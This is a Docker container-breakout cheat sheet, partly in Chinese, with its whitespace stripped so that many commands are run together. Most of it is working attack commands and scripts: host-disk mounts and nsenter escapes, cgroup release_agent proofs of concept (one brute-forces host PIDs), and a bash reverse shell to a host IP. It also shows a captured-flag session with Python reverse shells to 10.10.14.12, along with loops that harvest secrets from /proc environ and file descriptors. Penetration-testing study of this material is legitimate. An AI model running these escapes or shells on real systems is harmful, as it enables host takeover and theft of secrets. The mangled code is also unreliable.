#Search the socketfind/-namedocker.sock2>/dev/null#It's usually in /run/docker.sock
在这种情况下,您可以使用常规的docker命令与docker守护程序通信:
#List images to use onedockerimages#Run the image mounting the host disk and chroot on itdockerrun-it-v/:/host/ubuntu:18.04chroot/host/bash# Get full access to the host via ns pid and nsenter clidockerrun-it--rm--pid=host--privilegedubuntubashnsenter--target1--mount--uts--ipc--net--pid--bash# Get full privs in container without --privilegeddocker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
### Check if You Can Write to a File-systemecho1>/proc/sysrq-trigger### Check root UUIDcat/proc/cmdlineBOOT_IMAGE=/boot/vmlinuz-4.4.0-197-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c ro console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300
# Check Underlying Host FilesystemfindfsUUID=<UUIDValue>/dev/sda1# Attempt to Mount the Host's Filesystemmkdir/mnt-testmount/dev/sda1/mnt-testmount:/mnt:permissiondenied.--->Failed!butifnot,youmayhaveaccesstotheunderlyinghostOSfile-systemnow.### debugfs (Interactive File System Debugger)debugfs/dev/sda1
# spawn a new container to exploit via:# docker run --rm -it --privileged ubuntu bash# Finds + enables a cgroup release_agent# Looks for something like: /sys/fs/cgroup/*/release_agentd=`dirname $(ls-x/s*/fs/c*/*/r*|head-n1)`# If "d" is empty, this won't work, you need to use the next PoC# Enables notify_on_release in the cgroupmkdir-p $d/w;echo1>$d/w/notify_on_release# If you have a "Read-only file system" error, you need to use the next PoC# Finds path of OverlayFS mount for container# Unless the configuration explicitly exposes the mount point of the host filesystem# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.htmlt=`sed-n 's/overlay \/ .*\perdir=\([^,]*\).*/\1/p' /etc/mtab`# Sets release_agent to /path/payloadtouch/o; echo $t/c> $d/release_agent# Creates a payloadecho"#!/bin/sh">/cecho"ps > $t/o">>/cchmod+x/c# Triggers the cgroup via empty cgroup.procssh-c"echo 0 > $d/w/cgroup.procs"; sleep1# Reads the outputcat/o
# On the hostdockerrun--rm-it--cap-add=SYS_ADMIN--security-optapparmor=unconfinedubuntubash# Mounts the RDMA cgroup controller and create a child cgroup# This technique should work with the majority of cgroup controllers# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"# It's because your setup doesn't have the RDMA cgroup controller, try change rdma to memory to fix itmkdir/tmp/cgrp&&mount-tcgroup-ordmacgroup/tmp/cgrp&&mkdir/tmp/cgrp/x# If mount gives an error, this won't work, you need to use the first PoC# Enables cgroup notifications on release of the "x" cgroupecho1>/tmp/cgrp/x/notify_on_release# Finds path of OverlayFS mount for container# Unless the configuration explicitly exposes the mount point of the host filesystem# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.htmlhost_path=`sed-n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`# Sets release_agent to /path/payloadecho"$host_path/cmd">/tmp/cgrp/release_agent#For a normal PoC =================echo'#!/bin/sh'>/cmdecho"ps aux > $host_path/output">>/cmdchmoda+x/cmd#===================================#Reverse shellecho'#!/bin/bash'>/cmdecho"bash -i >& /dev/tcp/172.17.0.1/9000 0>&1">>/cmdchmoda+x/cmd#===================================# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup# By creating a /bin/sh process and writing its PID to the cgroup.procs file in "x" child cgroup directory# The script on the host will execute after /bin/sh exitssh-c"echo \$\$ > /tmp/cgrp/x/cgroup.procs"# Reads the outputcat/output
#!/bin/shOUTPUT_DIR="/"MAX_PID=65535CGROUP_NAME="xyx"CGROUP_MOUNT="/tmp/cgrp"PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"OUTPUT_NAME="${CGROUP_NAME}_payload.out"OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"# Run a process for which we can search for (not needed in reality, but nice to have)sleep10000&# Prepare the payload script to execute on the hostcat> ${PAYLOAD_PATH} <<__EOF__#!/bin/shOUTPATH=\$(dirname \$0)/${OUTPUT_NAME}# Commands to run on the host<ps -eaf > \${OUTPATH} 2>&1__EOF__# Make the payload script executablechmoda+x ${PAYLOAD_PATH}# Set up the cgroup mount using the memory resource cgroup controllermkdir ${CGROUP_MOUNT}mount-tcgroup-omemorycgroup ${CGROUP_MOUNT}mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}echo1> ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release# Brute force the host pid until the output path is created, or we run out of guessesTPID=1while [ !-f ${OUTPUT_PATH} ]doif [ $((${TPID} % 100)) -eq0 ]thenecho"Checking pid ${TPID}"if [ ${TPID} -gt ${MAX_PID} ]thenecho"Exiting at ${MAX_PID} :-("exit1fifi# Set the release_agent path to the guessed pidecho"/proc/${TPID}/root${PAYLOAD_PATH}"> ${CGROUP_MOUNT}/release_agent# Trigger execution of the release_agentsh-c"echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"TPID=$((${TPID} + 1))done# Wait for and cat the outputsleep1echo"Done! Output:"cat ${OUTPUT_PATH}
cp/bin/bash.#From non priv inside mounted folder# You need to copy it from the host as the bash binaries might be diferent in the host and in the containerchownroot:rootbash#From container as root inside mounted folderchmod4777bash#From container as root inside mounted folderbash-p#From non priv inside mounted folder
# On the container as rootcd/# Crate devicemknodsdab80# Give access to itchmod777sda# Create the nonepriv user of the host inside the container## In this case it's called augustus (like the user from the host)echo"augustus:x:1000:1000:augustus,,,:/home/augustus:/bin/bash">>/etc/passwd# Get a shell as augustus inside the containersuaugustussu:Authenticationfailure(Ignored)augustus@3a453ab39d3d:/backend$/bin/sh/bin/sh$
# On the host# get the real PID of the shell inside the container as the new https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/~/changes/3847/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation#privilege-escalation-with-2-shells user
augustus@GoodGames:~$ps-auxf|grep/bin/shroot 1496 0.0 0.0 4292 744 ? S 09:30 0:00 \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
root 1627 0.0 0.0 4292 756 ? S 09:44 0:00 \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
augustus16590.00.04292712?S+09:480:00 \_ /bin/shaugustus16610.00.06116648pts/0S+09:480:00 \_ grep/bin/sh# The process ID is 1659 in this case# Grep for the sda for HTB{ through the process:augustus@GoodGames:~$grep-a'HTB{'/proc/1659/root/sdaHTB{7h4T_w45_Tr1cKy_1_D4r3_54y}
hostPID
如果您可以访问主机的进程,您将能够访问存储在这些进程中的许多敏感信息。运行测试实验室:
docker run --rm -it --pid=host ubuntu bash
例如,您可以使用类似 ps auxn 的命令列出进程,并在命令中搜索敏感细节。
然后,由于您可以访问主机中每个进程的 /proc/,您可以运行以下命令窃取它们的环境变量秘密:
for e in`ls/proc/*/environ`; doecho; echo $e; xargs-0-L1-a $e; done/proc/988058/environPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=argocd-server-69678b4f65-6mmqlUSER=abrgocd...
你也可以访问其他进程的文件描述符并读取它们打开的文件:
for fd in`find/proc/*/fd`; dols-al $fd/*2>/dev/null|grep \>; done> fds.txtlessfds.txt...omittedforbrevity...lrwx------1rootroot64Jun1502:25/proc/635813/fd/2 ->/dev/pts/0lrwx------1rootroot64Jun1502:25/proc/635813/fd/4 ->/.secret.txt.swp# You can open the secret filw with:cat/proc/635813/fd/4
// From a conversation I had with @arget131// Fir bfing syscalss in x64#include<sys/syscall.h>#include<unistd.h>#include<stdio.h>#include<errno.h>intmain(){for(int i =0; i <333; ++i){if(i == SYS_rt_sigreturn) continue;if(i == SYS_select) continue;if(i == SYS_pause) continue;if(i == SYS_exit_group) continue;if(i == SYS_exit) continue;if(i == SYS_clone) continue;if(i == SYS_fork) continue;if(i == SYS_vfork) continue;if(i == SYS_pselect6) continue;if(i == SYS_ppoll) continue;if(i == SYS_seccomp) continue;if(i == SYS_vhangup) continue;if(i == SYS_reboot) continue;if(i == SYS_shutdown) continue;if(i == SYS_msgrcv) continue;printf("Probando: 0x%03x . . . ", i); fflush(stdout);if((syscall(i,NULL,NULL,NULL,NULL,NULL,NULL)<0) && (errno == EPERM))printf("Error\n");elseprintf("OK\n");}}```
Container Breakout through Usermode helper Template
If you are in userspace (no kernel exploit involved) the way to find new escapes mainly involve the following actions (these templates usually require a container in privileged mode):
Find the path of the containers filesystem inside the host
You can do this via mount, or via brute-force PIDs as explained in the second release_agent exploit
Find some functionality where you can indicate the path of a script to be executed by a host process (helper) if something happens
You should be able to execute the trigger from inside the host
You need to know where the containers files are located inside the host to indicate a script you write inside the host
Have enough capabilities and disabled protections to be able to abuse that functionality
You might need to mount things o perform special privileged actions you cannot do in a default docker container